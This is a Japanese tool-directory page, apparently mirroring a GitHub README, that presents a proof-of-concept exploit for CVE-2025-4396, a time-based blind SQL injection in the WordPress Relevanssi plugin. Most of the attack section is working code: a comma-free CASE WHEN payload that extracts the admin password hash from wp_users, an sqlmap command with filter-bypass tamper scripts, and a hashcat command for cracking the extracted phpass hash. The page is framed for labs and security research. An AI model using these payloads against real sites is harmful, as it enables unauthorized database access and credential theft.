Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-4396 — CVE-2025-4396 - WordPress Relevanssi 時間ベースのブラインドSQLインジェクション | Kitploit
ツール/GitHubGitHub/sup3rdav3/cve-2025-4396
パスワードクラッキング脆弱性分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテスト学習と教育ラボと実践
GitHubsup3rdav3/cve-2025-4396

CVE-2025-4396

CVE-2025-4396 - WordPress Relevanssi 時間ベースのブラインドSQLインジェクション

リポジトリを見る
3ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-4396 — Relevanssi SQLインジェクション(時間ベース・ブラインド)

免責事項: このリポジトリは許可されたペネトレーションテスト、セキュリティ研究、教育目的のみを対象としています。コンピュータシステムへの不正アクセスは違法かつ非倫理的です。


概要

Relevanssi 4.24.4 WordPressプラグインにおける時間ベースのブラインドSQLインジェクション脆弱性の概念実証エクスプロイトです。この実装は、以下のような堅牢化された環境に特化しています:

  • カンマがフィルタリングされる — 標準のSUBSTR(str, pos, len)やIF(cond, true, false)構文が壊れる
  • 貪欲なスリープ動作が発生する — MySQLが式全体を評価する前にSLEEP()を実行し、誤検知を引き起こす

背景

特定の環境(例:DVWPラボ)では、標準的なSQLインジェクションペイロードは次の2つの主な理由で失敗します:

問題影響
カンマ除去SUBSTR(str, pos, len)とIF(cond, true, false)が壊れる
貪欲なSLEEP()MySQLが完全なブール式を評価する前にsleepを実行し、誤検知を引き起こす

この両方の問題には的を絞った回避策が必要です。以下で手動および自動のアプローチを説明します。


手動エクスプロイト(asy.py)

非同期Pythonスクリプトで、文字単位の精密な抽出を提供します。自動化ツールのオーバーヘッドを回避し、CASE WHENロジックによるカンマフィルタリングをバイパスします。

特徴

機能実装
非同期I/O非ブロッキングリクエスト用のaiohttp
カンマなしペイロードSUBSTR(str FROM pos FOR len)構文

コアインジェクションロジック

root@kitploit:~
# Comma-less, CASE WHEN-based time-based payload
condition = f"ASCII(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1) FROM {pos} FOR 1))>{mid}"
injection = f"1*(SELECT CASE WHEN ({condition}) THEN SLEEP(3) ELSE 1 END)"

なぜIF()ではなくCASE WHENなのか? IF()はカンマを使用し、貪欲な評価を受けます。CASE WHENは遅延評価を行うため、SLEEP()は条件が実際にTRUEの場合にのみトリガーされます。


自動エクスプロイト(SQLMap)

SQLMapは、特定のタンパースクリプトとフラグを使用して、この環境での発見を自動化できます。

コマンド

root@kitploit:~
python3 sqlmap.py -u "http://localhost:31337/?s=test&cats=1*" \
  --tamper=commalessmid,if2case,between \
  --technique=T \
  --dbms=MySQL \
  --no-cast \
  --batch \
  --threads=1 \
  --dbs

フラグリファレンス

--threads=1に関する注意: これは信頼性の高い抽出に不可欠です。複数のスレッドはスリープ遅延を重複させ、二分探索のタイミングを壊し、文字化けした出力を生成します。


ラボでの調査結果

項目値
対象WordPress wp_usersテーブル

ハッシュのクラック

root@kitploit:~
hashcat -m 400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
  • モード -m 400 はphpassハッシュを対象とします
  • 攻撃 -a 0 はrockyou.txtを使用した純粋な辞書攻撃です

参考文献

  • Relevanssiプラグイン — WordPress.org
  • SQLMapタンパースクリプト
  • OWASP:ブラインドSQLインジェクション
  • phpass — パスワードハッシュフレームワーク
ツールをダウンロード
非貪欲ロジックCASE WHENによりSLEEP()がTRUEの場合のみ発火
フラグ目的
--tamper=commalessmid,if2caseペイロードをカンマなしSQLに書き換え、IF()をCASE WHENに置き換えます
--tamper=between>比較をBETWEENに置き換え、追加のWAFバイパスを実現します
--technique=T時間ベースのブラインドインジェクションのみに制限します
--no-cast禁止されたカンマを導入するCAST()ラッパーを防ぎます
--threads=1タイミング精度を保証します — 同時リクエストはスリープ遅延を重複させます
ユーザーadmin(ID = 1)
抽出されたハッシュREDACTED
アルゴリズムphpass(標準のWordPressパスワードハッシュ)